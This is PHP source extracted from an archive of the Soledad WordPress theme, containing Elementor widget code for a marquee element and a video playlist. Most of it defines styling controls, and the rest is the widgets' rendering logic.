				'label'      => esc_html__( 'Border Radius', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => [ 'px', '%', 'em' ],
				'selectors'  => [
					'{{WRAPPER}} .penci-marquee-el .marquee-content' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				],
			]
		);
		$this->add_responsive_control(
			'marquee_title_padding',
			[
				'label'      => esc_html__( 'Padding', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => [ 'px', '%', 'em' ],
				'selectors'  => [
					'{{WRAPPER}} .penci-marquee-el .marquee-content' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				],
			]
		);
		$this->add_group_control(
			Group_Control_Typography::get_type(),
			[
				'name'     => 'marquee_title_typogrphy',
				'label'    => esc_html__( 'Typography', 'soledad' ),
				'selector' => '{{WRAPPER}} .penci-marquee-el .marquee-content',
			]
		);

		$this->add_group_control(
			Group_Control_Text_Stroke::get_type(),
			[
				'name'     => 'title_text_stroke',
				'label'    => esc_html__( 'Text Stroke', 'soledad' ),
				'selector' => '{{WRAPPER}} .penci-marquee-el .marquee-content',
			]
		);
		$this->add_group_control(
			Group_Control_Text_Shadow::get_type(),
			[
				'name'     => 'marquee_title_text_shadow',
				'label'    => esc_html__( 'Text Shadow', 'soledad' ),
				'selector' => '{{WRAPPER}} .penci-marquee-el .marquee-content',
			]
		);
		$this->end_controls_tab();
		$this->start_controls_tab(
			'marquee_title_hover',
			[
				'label' => esc_html__( 'Hover', 'soledad' ),
			]
		);

		$this->add_control(
			'marquee_title_h_color',
			[
				'label'     => esc_html__( 'Text Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-marquee-el .marquee-content:hover .marquee-title' => 'color: {{VALUE}} !important',
				],
			]
		);
		$this->add_group_control(
			Group_Control_Background::get_type(),
			[
				'name'     => 'marquee_title_h_background',
				'label'    => esc_html__( 'Background', 'soledad' ),
				'types'    => [ 'classic', 'gradient' ],
				'selector' => '{{WRAPPER}} .penci-marquee-el .marquee-content:hover',
			]
		);
		$this->add_control(
			'marquee_title_border_h_color',
			[
				'label'     => esc_html__( 'Border Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-marquee-el .marquee-content:hover' => 'border-color: {{VALUE}};',
				],
				'condition' => [
					'marquee_title_border_border!' => '',
				]
			]
		);
		$this->end_controls_tab();
		$this->end_controls_tabs();
		$this->end_controls_section();
	}

	public function get_calculated_image_width( $attachment_id, $desired_height ) {
		// Get image metadata
		$image_meta = wp_get_attachment_metadata($attachment_id);
		
		if (!$image_meta || !isset($image_meta['width']) || !isset($image_meta['height'])) {
			return 200;
		}
		
		$original_width = $image_meta['width'];
		$original_height = $image_meta['height'];
		
		// Calculate aspect ratio and new width
		$aspect_ratio = $original_width / $original_height;
		$calculated_width = round($desired_height * $aspect_ratio);
		
		return $calculated_width;
	}

	protected function register_controls_style_images() {
		$this->start_controls_section(
			'section_style_controls_image',
			[
				'label'     => esc_html__( 'Marquee Images', 'soledad' ),
				'tab'       => Controls_Manager::TAB_STYLE,
				'condition' => [
					'marquee_type' => 'image'
				]
			]
		);

		$this->start_controls_tabs(
			'marquee_image_style_tabs'
		);
		$this->start_controls_tab(
			'marquee_image_normal',
			[
				'label' => esc_html__( 'Normal', 'soledad' ),
			]
		);
		$this->add_group_control(
			Group_Control_Background::get_type(),
			[
				'name'     => 'marquee_image_background',
				'label'    => esc_html__( 'Background', 'soledad' ),
				'types'    => [ 'classic', 'gradient' ],
				'selector' => '{{WRAPPER}} .penci-marquee-el .marquee-content',
			]
		);
		$this->add_group_control(
			Group_Control_Border::get_type(),
			[
				'name'     => 'marquee_image_border',
				'label'    => esc_html__( 'Border', 'soledad' ),
				'selector' => '{{WRAPPER}} .penci-marquee-el .marquee-content',
			]
		);
		$this->add_responsive_control(
			'marquee_image_radius',
			[
				'label'      => esc_html__( 'Border Radius', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => [ 'px', '%', 'em' ],
				'selectors'  => [
					'{{WRAPPER}} .penci-marquee-el .marquee-content' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				],
			]
		);
		$this->add_responsive_control(
			'marquee_image_padding',
			[
				'label'      => esc_html__( 'Padding', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => [ 'px', '%', 'em' ],
				'selectors'  => [
					'{{WRAPPER}} .penci-marquee-el .marquee-content' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				],
			]
		);
		$this->add_group_control(
			Group_Control_Css_Filter::get_type(),
			[
				'name'     => 'css_filters',
				'selector' => '{{WRAPPER}} .penci-marquee-el .marquee-image img',
			]
		);
		$this->end_controls_tab();
		$this->start_controls_tab(
			'marquee_image_hover',
			[
				'label' => esc_html__( 'Hover', 'soledad' ),
			]
		);
		$this->add_group_control(
			Group_Control_Background::get_type(),
			[
				'name'     => 'marquee_image_background_hover',
				'label'    => esc_html__( 'Background', 'soledad' ),
				'types'    => [ 'classic', 'gradient' ],
				'selector' => '{{WRAPPER}} .penci-marquee-el .marquee-content:hover',
			]
		);
		$this->add_control(
			'marquee_border_hover_color',
			[
				'label'     => esc_html__( 'Border Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-marquee-el .marquee-content:hover' => 'border-color: {{VALUE}};',
				],
				'condition' => [
					'marquee_image_border_border!' => '',
				]
			]
		);
		$this->add_group_control(
			Group_Control_Css_Filter::get_type(),
			[
				'name'     => 'css_filters_hover',
				'selector' => '{{WRAPPER}} .penci-marquee-el .marquee-image:hover img',
			]
		);
		$this->end_controls_tab();
		$this->end_controls_tabs();
		$this->end_controls_section();
	}


	public function render_thumbnail( $item, $show_caption = '' ) {
		$settings  = $this->get_settings_for_display();
		$image     = $item['marquee_image'];
		$thumb_url = Group_Control_Image_Size::get_attachment_image_src( $image['id'], 'thumbnail', $settings );
		$link      = $item['marquee_image_link'];

		$width = $this->get_calculated_image_width( $image['id'], $settings['marquee_image_height']['size'] );
		$style     = 'width:' . $width . 'px;';
		$caption = wp_get_attachment_caption( $image['id'] );
		$class = $caption_html = '';
		if ( $show_caption && $caption ) {
			$class = ' wp-caption';
			$caption_html = '<p class="wp-caption-text">' . esc_html( $caption ) . '</p>';
		}
		// Define image content based on available URL
		$content = $thumb_url
			? wp_get_attachment_image( $image['id'], $settings['thumbnail_size'] )
			: '<img  src="' . esc_url( $image['url'] ) . '" alt="">';

		// Check if link exists and wrap content with link attributes
		if ( ! empty( $link['url'] ) ) {
			$this->add_link_attributes( 'marquee-link', $link, true );
			$link_attributes = 'class="marquee-link marquee-content marquee-image'.$class.'" ' . $this->get_render_attribute_string( 'marquee-link' );

			echo wp_kses_post( '<a ' . $link_attributes . ' style="' . esc_attr( $style ) . '">' . $content . $caption_html . '</a>' );
		} else {
			echo '<div class="marquee-content marquee-image'.$class.'" style="' . esc_attr( $style ) . '">' . wp_kses_post( $content ) . $caption_html . '</div>';
		}
	}


	function marquee_rolling() {
		$settings                     = $this->get_settings_for_display();
		$contentText                  = $settings['marquee_type_text'];
		$contentImages                = $settings['marquee_type_images'];
		?>
		<?php if ( $settings['marquee_type'] === 'text' ) : ?>
			<?php if ( $contentText ) :
				$count = 0;
				foreach ( $contentText as $index => $list ) :
					$single_color = 'link_' . $index;
					$marquee_bg_color = 'marquee_bg_color_' . $index;
					if ( ! empty( $list['marquee_bg_color'] ) ) {
						$this->add_render_attribute( $marquee_bg_color, 'style', 'background-color: ' . $list['marquee_bg_color'] . ';' );
					}
					if ( ! empty( $list['marquee_color'] ) ) {
						$this->add_render_attribute( $single_color, 'style', 'color: ' . $list['marquee_color'] . ';' );
					}
					?>

                    <div class="marquee-content marquee-text" <?php $this->print_render_attribute_string( $marquee_bg_color ); ?>>


						<?php
						if ( ! empty( $list['marquee_link']['url'] ) ) {
							$this->add_link_attributes( 'marquee-link', $list['marquee_link'], true );
							$link_attributes = 'class="marquee-title"';
							$link_attributes .= ' ' . $this->get_render_attribute_string( 'marquee-link' );
							printf( '<a %1$s %3$s>%2$s</a>', wp_kses_post( $link_attributes ), esc_html( $list['marquee_content'] ), wp_kses_post( $this->get_render_attribute_string( $single_color ) ) );
						} else {
							printf( '<span class="marquee-title" %1$s>%2$s</span>', wp_kses_post( $this->get_render_attribute_string( $single_color ) ), esc_html( $list['marquee_content'] ) );
						}
						?>
                    </div>

					<?php
					$count ++;
				endforeach;
			endif; ?>
		<?php endif; ?>

		<?php if ( $settings['marquee_type'] === 'image' ) : ?>
			<?php if ( $contentImages ) :
				foreach ( $contentImages as $key => $image ) :
					$this->render_thumbnail( $image, $settings['marquee_image_caption'] === 'yes' );
					?>
				<?php endforeach;
			endif; ?>
		<?php endif; ?>

		<?php
	}

	public function render() {
		$settings = $this->get_settings_for_display();

		$this->add_render_attribute( 'penci-marquee-el', [
			'id'    => 'penci-marque-' . $this->get_id() . '',
			'class' => [ 'penci-marquee-el', 'marquee-type-' . $settings['marquee_type'] . '' ],
		], null, true ); ?>


        <div <?php $this->print_render_attribute_string( 'penci-marquee-el' ); ?>>
			<?php $this->marquee_rolling(); ?>
        </div>
		<?php
	}
}
PK     1w\5F%  %  1  elementor/modules/penci-video-playlist/module.phpnu [        <?php
namespace PenciSoledadElementor\Modules\PenciVideoPlaylist;

use PenciSoledadElementor\Base\Module_Base;

class Module extends Module_Base {

	public function get_name() {
		return 'penci-video-playlist';
	}

	public function get_widgets() {
		return array( 'PenciVideoPlaylist' );
	}
}
PK     1w\
+    G  elementor/modules/penci-video-playlist/widgets/penci-video-playlist.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciVideoPlaylist\Widgets;

use PenciSoledadElementor\Base\Base_Widget;
use Elementor\Controls_Manager;
use Elementor\Group_Control_Typography;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

class PenciVideoPlaylist extends Base_Widget {

	public function get_name() {
		return 'penci-video-playlist';
	}

	public function get_title() {
		return penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( ' Video Playlist', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-youtube';
	}

	public function get_categories() {
		return [ 'penci-elements' ];
	}

	public function get_keywords() {
		return array( 'facebook', 'social', 'embed', 'page' );
	}

	protected function register_controls() {


		$this->start_controls_section( 'section_general', array(
			'label' => esc_html__( 'General', 'soledad' ),
			'tab'   => Controls_Manager::TAB_CONTENT,
		) );
		$this->add_control( 'penci_block_width', array(
			'label'   => __( 'Element Columns', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => 3,
			'options' => array(
				'1' => esc_html__( '1 Column ( Small Container Width)', 'soledad' ),
				'2' => esc_html__( '2 Columns ( Medium Container Width )', 'soledad' ),
				'3' => esc_html__( '3 Columns ( Large Container Width )', 'soledad' ),
			)
		) );

		$this->add_control( 'app_id', array(
			'type'            => Controls_Manager::RAW_HTML,
			'raw'             => '<span style="color: red;font-weight: bold;">Note Important</span>: If  you use video come from youtube, please go to Customize &gt; General Options &gt; YouTube API Key and enter an api key.',
			'content_classes' => 'elementor-descriptor',

		) );

		$this->add_control( 'video_type', array(
			'label'   => __( 'Video Type', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => 'custom',
			'options' => array(
				'custom'           => esc_html__( 'Custom', 'soledad' ),
				'youtube_playlist' => esc_html__( 'Youtube Playlist', 'soledad' ),
			),
		) );

		$this->add_control( 'videos_list', array(
			'label'       => __( 'Videos List', 'soledad' ),
			'type'        => Controls_Manager::TEXTAREA,
			'condition'   => [ 'video_type' => 'custom' ],
			'description' => __( 'Enter each video url in a seprated line. Supports: YouTube and Vimeo videos only.', 'soledad' ),
		) );

		$this->add_control( 'yplaylist_id', array(
			'label'       => __( 'Youtube Playlist ID', 'soledad' ),
			'type'        => Controls_Manager::TEXT,
			'condition'   => [ 'video_type' => 'youtube_playlist' ],
			'description' => __( 'Enter Youtube Playlist ID or Playlist URL.', 'soledad' ),
		) );

		$this->add_control( 'yplaylist_limit', array(
			'label'     => __( 'Limit Items on Youtube Playlist', 'soledad' ),
			'type'      => Controls_Manager::NUMBER,
			'default'   => '5',
			'condition' => [ 'video_type' => 'youtube_playlist' ],
		) );

		$this->add_control( 'hide_duration', array(
			'label'     => __( 'Hide video duration', 'soledad' ),
			'type'      => Controls_Manager::SWITCHER,
			'label_on'  => __( 'Yes', 'soledad' ),
			'label_off' => __( 'No', 'soledad' ),
		) );
		$this->add_control( 'hide_order_number', array(
			'label'     => __( 'Hide video order number', 'soledad' ),
			'type'      => Controls_Manager::SWITCHER,
			'label_on'  => __( 'Yes', 'soledad' ),
			'label_off' => __( 'No', 'soledad' ),
		) );
		$this->add_control( 'video_title_length', array(
			'label'     => __( 'Title Length for Video', 'soledad' ),
			'type'      => Controls_Manager::NUMBER,
			'default'   => '10',
			'separator' => 'before',
		) );
		$this->add_control( 'block_id', array(
			'label'   => __( 'Unique ID for Save & Clear Caching', 'soledad' ),
			'type'    => Controls_Manager::TEXT,
			'default' => rand( 1000, 100000 ),
		) );
		$this->end_controls_section();

		$this->register_block_title_section_controls();


		// Design
		$this->start_controls_section( 'section_design_content', array(
			'label' => __( 'Content', 'soledad' ),
			'tab'   => Controls_Manager::TAB_STYLE,
		) );
		$this->add_control( 'list_video_bgcolor', array(
			'label'     => __( 'Background list videos', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .penci-video_playlist .penci-video-nav' => 'background-color: {{VALUE}};' ),
		) );
		$this->add_control( 'video_title_color', array(
			'label'     => __( 'Video title color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .penci-video_playlist .penci-video-playlist-item .penci-video-title' => 'color: {{VALUE}};', ),
		) );
		$this->add_control( 'video_title_hover_color', array(
			'label'     => __( 'Video title hover color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .penci-video_playlist .penci-video-playlist-item .penci-video-title:hover' => 'color: {{VALUE}};' ),
		) );
		$this->add_control( 'duration_color', array(
			'label'     => __( 'Video duration color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .penci-video-playlist-item .penci-video-duration' => 'color: {{VALUE}};' ),
		) );
		$this->add_control( 'order_number_color', array(
			'label'     => __( 'Video order number color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .penci-video_playlist .penci-video-nav .playlist-panel-item' => 'color: {{VALUE}};' ),
		) );
		$this->add_control( 'order_number_bgcolor', array(
			'label'     => __( 'Video order number background color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .penci-video_playlist .penci-video-nav .playlist-panel-item' => 'background-color: {{VALUE}};' ),
		) );
		$this->add_control( 'item_video_border_color', array(
			'label'     => __( 'Item video border color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .penci-video_playlist .penci-video-nav .penci-video-playlist-item' => 'border-color: {{VALUE}};' ),
		) );
		$this->add_control( 'item_video_bg_hcolor', array(
			'label'     => __( 'Item video hover background and border color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .penci-video_playlist .penci-video-nav .penci-video-playlist-item:hover' => 'background-color: {{VALUE}};' ),
		) );
		$this->add_control( 'scrollbar_bg_hcolor', array(
			'label'     => __( 'Scroll bar background color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .penci-video_playlist .penci-custom-scroll::-webkit-scrollbar-thumb' => 'background-color: {{VALUE}};' ),
		) );

		$this->end_controls_section();
		$this->register_heading_title_style_section_controls();
	}

	public function register_block_title_section_controls() {
		$this->start_controls_section( 'section_title_block', array(
			'label' => __( 'Heading Title', 'soledad' ),
			'tab'   => Controls_Manager::TAB_CONTENT,
		) );

		$this->add_control( 'heading_title_style', array(
			'label'   => __( 'Choose Style', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => '',
			'options' => array(
				''                  => esc_html__( 'Default ( follow Customize )', 'soledad' ),
				'style-1'           => esc_html__( 'Style 1', 'soledad' ),
				'style-2'           => esc_html__( 'Style 2', 'soledad' ),
				'style-3'           => esc_html__( 'Style 3', 'soledad' ),
				'style-4'           => esc_html__( 'Style 4', 'soledad' ),
				'style-5'           => esc_html__( 'Style 5', 'soledad' ),
				'style-6'           => esc_html__( 'Style 6', 'soledad' ),
				'style-7'           => esc_html__( 'Style 7', 'soledad' ),
				'style-9'           => esc_html__( 'Style 8', 'soledad' ),
				'style-8'           => esc_html__( 'Style 9', 'soledad' ),
				'style-10'          => esc_html__( 'Style 10', 'soledad' ),
				'style-11'          => esc_html__( 'Style 11', 'soledad' ),
				'style-12'          => esc_html__( 'Style 12', 'soledad' ),
				'style-13'          => esc_html__( 'Style 13', 'soledad' ),
				'style-14'          => esc_html__( 'Style 14', 'soledad' ),
				'style-15'          => esc_html__( 'Style 15', 'soledad' ),
				'style-16'          => esc_html__( 'Style 16', 'soledad' ),
				'style-2 style-17'  => esc_html__( 'Style 17', 'soledad' ),
				'style-18'          => esc_html__( 'Style 18', 'soledad' ),
				'style-18 style-19' => esc_html__( 'Style 19', 'soledad' ),
				'style-18 style-20' => esc_html__( 'Style 20', 'soledad' ),
				'style-21'          => esc_html__( 'Style 21', 'soledad' ),
				'style-22'          => esc_html__( 'Style 22', 'soledad' ),
				'style-23'          => esc_html__( 'Style 23', 'soledad' ),
				'style-24'          => esc_html__( 'Style 24', 'soledad' ),
				'style-25'          => __( 'Style 25', 'soledad' ),
				'style-26'          => __( 'Style 26', 'soledad' ),
				'style-27'          => __( 'Style 27', 'soledad' ),
				'style-28'          => __( 'Style 28', 'soledad' ),
				'style-29'          => __( 'Style 29', 'soledad' ),
				'style-30'          => __( 'Style 30', 'soledad' ),
				'video_list'        => esc_html__( 'Style Video List', 'soledad' ),
			)
		) );
		$this->add_control( 'heading', array(
			'label'   => __( 'Heading Title', 'soledad' ),
			'type'    => Controls_Manager::TEXT,
			'default' => __( 'Heading Title', 'soledad' ),
		) );
		$this->add_control( 'heading_title_link', array(
			'label'       => __( 'Title url', 'soledad' ),
			'type'        => Controls_Manager::URL,
			'placeholder' => __( 'https://your-link.com', 'soledad' ),
			'separator'   => 'before',
		) );

		$this->add_control( 'add_title_icon', array(
			'label'     => __( 'Add icon for title?', 'soledad' ),
			'type'      => Controls_Manager::SWITCHER,
			'label_on'  => __( 'Show', 'soledad' ),
			'label_off' => __( 'Hide', 'soledad' ),
			'default'   => '',
			'separator' => 'before',
		) );

		$this->add_control( 'block_title_icon', array(
			'label'       => __( 'Icon', 'soledad' ),
			'type'        => Controls_Manager::ICON,
			'default'     => 'fas fa-star',
			'label_block' => true,
			'condition'   => array(
				'add_title_icon' => 'yes'
			),
		) );
		$this->add_control( 'block_title_ialign', array(
			'label'     => __( 'Icon Alignment', 'soledad' ),
			'type'      => Controls_Manager::SELECT,
			'default'   => 'left',
			'options'   => array(
				'left'  => esc_html__( 'Left', 'soledad' ),
				'right' => esc_html__( 'Right', 'soledad' ),
			),
			'condition' => array(
				'add_title_icon' => 'yes'
			),
		) );

		$this->add_control( 'block_title_align', array(
			'label'   => __( 'Heading Align', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => '',
			'options' => array(
				''       => esc_html__( 'Default ( follow Customize )', 'soledad' ),
				'left'   => esc_html__( 'Left', 'soledad' ),
				'center' => esc_html__( 'Center', 'soledad' ),
				'right'  => esc_html__( 'Right', 'soledad' )
			)
		) );

		$this->add_control( 'heading_icon_pos', array(
			'label'     => __( 'Align Icon on Style 15', 'soledad' ),
			'type'      => Controls_Manager::SELECT,
			'default'   => '',
			'options'   => array(
				''              => esc_html__( 'Default ( follow Customize )', 'soledad' ),
				'pciconp-right' => esc_html__( 'Right', 'soledad' ),
				'pciconp-left'  => esc_html__( 'Left', 'soledad' ),
			),
			'condition' => array( 'heading_title_style' => array( 'style-15' ) ),
		) );
		$this->add_control( 'heading_icon', array(
			'label'     => __( 'Custom Icon on Style 15', 'soledad' ),
			'type'      => Controls_Manager::SELECT,
			'default'   => '',
			'options'   => array(
				''             => esc_html__( 'Default ( follow Customize )', 'soledad' ),
				'pcicon-right' => esc_html__( 'Arrow Right', 'soledad' ),
				'pcicon-left'  => esc_html__( 'Arrow Left', 'soledad' ),
				'pcicon-down'  => esc_html__( 'Arrow Down', 'soledad' ),
				'pcicon-up'    => esc_html__( 'Arrow Up', 'soledad' ),
				'pcicon-star'  => esc_html__( 'Star', 'soledad' ),
				'pcicon-bars'  => esc_html__( 'Bars', 'soledad' ),
				'pcicon-file'  => esc_html__( 'File', 'soledad' ),
				'pcicon-fire'  => esc_html__( 'Fire', 'soledad' ),
				'pcicon-book'  => esc_html__( 'Book', 'soledad' ),
			),
			'condition' => array( 'heading_title_style' => array( 'style-15' ) ),
		) );

		$this->add_control( 'block_title_marginbt', array(
			'label'     => __( 'Margin Bottom', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 100, ) ),
			'selectors' => array( '{{WRAPPER}} .penci-homepage-title' => 'margin-bottom: {{SIZE}}px' ),
		) );

		$this->end_controls_section();
	}

	public function register_heading_title_style_section_controls() {
		$this->start_controls_section( 'section_title_block_style', array(
			'label' => __( 'Block Heading Title', 'soledad' ),
			'tab'   => Controls_Manager::TAB_STYLE,
		) );

		$this->add_control( 'block_title_color', array(
			'label'     => __( 'Title Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-homepage-title.style-21 .inner-arrow span,{{WRAPPER}} .penci-homepage-title.style-22 .inner-arrow span,{{WRAPPER}} .penci-homepage-title.style-23 .inner-arrow span,{{WRAPPER}} .penci-homepage-title.style-24 .inner-arrow span' => '--pcheading-cl: {{VALUE}};',
				'{{WRAPPER}} .penci-border-arrow .inner-arrow'                                                                                                                                                                                                        => 'color: {{VALUE}};',
				'{{WRAPPER}} .penci-border-arrow .inner-arrow a'                                                                                                                                                                                                      => 'color: {{VALUE}};',
				'{{WRAPPER}} .penci-video_playlist .penci-playlist-title'                                                                                                                                                                                             => 'color: {{VALUE}};',
			),
		) );
		$this->add_control( 'block_title_hcolor', array(
			'label'     => __( 'Title Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-border-arrow .inner-arrow a:hover'            => 'color: {{VALUE}};',
				'{{WRAPPER}} .penci-video_playlist .penci-playlist-title a:hover' => 'color: {{VALUE}};',
			),
		) );
		$this->add_control( 'block_title_bcolor', array(
			'label'     => __( 'Border Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-homepage-title.style-21 .inner-arrow span'                                                                                                                                                                                                                                                                                                                                                                                                                               => '--pcaccent-cl: {{VALUE}}',
				'{{WRAPPER}} .penci-homepage-title.style-26 .inner-arrow, {{WRAPPER}} .penci-homepage-title.style-27 .inner-arrow'                                                                                                                                                                                                                                                                                                                                                                           => '--pcborder-cl: {{VALUE}}',
				'{{WRAPPER}} .penci-homepage-title.style-22 .inner-arrow:before'                                                                                                                                                                                                                                                                                                                                                                                                                             => 'background-color: {{VALUE}};',
				'{{WRAPPER}} .penci-homepage-title.style-23 .inner-arrow > span:before,{{WRAPPER}} .penci-homepage-title.style-23 .inner-arrow > span:before'                                                                                                                                                                                                                                                                                                                                                => 'background-color: {{VALUE}};',
				'{{WRAPPER}} .penci-homepage-title.style-24 .inner-arrow > span:before'                                                                                                                                                                                                                                                                                                                                                                                                                      => 'background-color: {{VALUE}};',
				'body:not(.pcdm-enable) {{WRAPPER}} .penci-border-arrow .inner-arrow,' . '{{WRAPPER}} .style-4.penci-border-arrow .inner-arrow > span:after,' . '{{WRAPPER}} .style-4.penci-border-arrow .inner-arrow > span:before,' . '{{WRAPPER}} .style-4.penci-border-arrow .inner-arrow:before,' . '{{WRAPPER}} .style-4.penci-border-arrow .inner-arrow:after,' . '{{WRAPPER}} .style-5.penci-border-arrow,' . '{{WRAPPER}} .style-7.penci-border-arrow,' . '{{WRAPPER}} .style-9.penci-border-arrow' => 'border-color: {{VALUE}}',
				'body:not(.pcdm-enable) {{WRAPPER}} .penci-border-arrow:before'                                                                                                                                                                                                                                                                                                                                                                                                                              => 'border-top-color: {{VALUE}}',
				'body:not(.pcdm-enable) {{WRAPPER}} .style-16.penci-border-arrow:after'                                                                                                                                                                                                                                                                                                                                                                                                                      => 'background-color: {{VALUE}}',
				'body:not(.pcdm-enable) {{WRAPPER}} .penci-home-popular-posts'                                                                                                                                                                                                                                                                                                                                                                                                                               => 'border-top-color: {{VALUE}}',
			)
		) );
		$this->add_control( 'btitle_outer_bcolor', array(
			'label'     => __( 'Border Outer Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}}  .penci-border-arrow:after'                               => 'border-color: {{VALUE}};',
				'{{WRAPPER}} .penci-homepage-title.style-22 .inner-arrow:after'        => 'background-color: {{VALUE}};',
				'{{WRAPPER}} .penci-homepage-title.style-24 .inner-arrow > span:after' => 'background-color: {{VALUE}};',
				'{{WRAPPER}} .penci-homepage-title.style-23 .inner-arrow > span:after' => 'background-color: {{VALUE}};'
			)
		) );
		$this->add_control( 'btitle_style10_btopcolor', array(
			'label'     => __( 'Border Top', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-homepage-title.style-10' => 'border-top-color: {{VALUE}};'
			),
			'condition' => array( 'heading_title_style' => 'style-10' ),
		) );
		$this->add_control( 'btitle_style5_bcolor', array(
			'label'     => __( 'Border Bottom', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .style-5.penci-border-arrow'              => 'border-color: {{VALUE}};',
				'{{WRAPPER}} .penci-homepage-title.style-10'           => 'border-bottom-color: {{VALUE}};',
				'{{WRAPPER}} .style-12.penci-border-arrow'             => 'border-bottom-color: {{VALUE}};',
				'{{WRAPPER}} .style-11.penci-border-arrow'             => 'border-bottom-color: {{VALUE}};',
				'{{WRAPPER}} .style-5.penci-border-arrow .inner-arrow' => 'border-bottom-color: {{VALUE}};',
			),
			'condition' => array( 'heading_title_style' => array( 'style-5', 'style-10', 'style-11', 'style-12' ) ),
		) );
		$this->add_control( 'btitle_style78_bcolor', array(
			'label'     => __( 'Border Bottom on Widget Heading Style 7,8', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .style-7.penci-border-arrow .inner-arrow:before' => 'background-color: {{VALUE}};',
				'{{WRAPPER}} .style-9.penci-border-arrow .inner-arrow:before' => 'background-color: {{VALUE}};'
			),
			'condition' => array( 'heading_title_style' => array( 'style-7', 'style-8' ) ),
		) );
		$this->add_control( 'btitle_shapes_color', array(
			'label'     => __( 'Background Shapes', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .style-13.pcalign-center .inner-arrow:before,{{WRAPPER}} .style-13.pcalign-right .inner-arrow:before'                                         => 'border-left-color: {{VALUE}};',
				'{{WRAPPER}} .style-13.pcalign-center .inner-arrow:after,{{WRAPPER}} .style-13.pcalign-left .inner-arrow:after'                                            => ' border-right-color: {{VALUE}};',
				'{{WRAPPER}} .style-12 .inner-arrow:before,{{WRAPPER}} .style-12.pcalign-right .inner-arrow:after,{{WRAPPER}} .style-12.pcalign-center .inner-arrow:after' => ' border-bottom-color: {{VALUE}};',
				'{{WRAPPER}} .style-11 .inner-arrow:after,{{WRAPPER}} .style-11 .inner-arrow:before'                                                                       => ' border-top-color: {{VALUE}};'
			),
			'condition' => array( 'heading_title_style' => array( 'style-13', 'style-11', 'style-12' ) ),
		) );
		$this->add_control( 'bgstyle15_color', array(
			'label'       => __( 'Background Color for Icon', 'soledad' ),
			'type'        => Controls_Manager::COLOR,
			'default'     => '',
			'description' => __( 'For Icon on Style 15', 'soledad' ),
			'selectors'   => array(
				'{{WRAPPER}} .style-15.penci-border-arrow:before' => 'background-color: {{VALUE}};',
			),
			'condition'   => array( 'heading_title_style' => array( 'style-15' ) ),
		) );
		$this->add_control( 'iconstyle15_color', array(
			'label'       => __( 'Icon Color', 'soledad' ),
			'type'        => Controls_Manager::COLOR,
			'default'     => '',
			'description' => __( 'For Icon on Style 15', 'soledad' ),
			'selectors'   => array(
				'{{WRAPPER}} .style-15.penci-border-arrow:after' => 'color: {{VALUE}};',
			),
			'condition'   => array( 'heading_title_style' => array( 'style-15' ) ),
		) );
		$this->add_control( 'lines_color', array(
			'label'       => __( 'Color for Lines', 'soledad' ),
			'type'        => Controls_Manager::COLOR,
			'default'     => '',
			'description' => __( 'For Lines on Style 18, 19, 20', 'soledad' ),
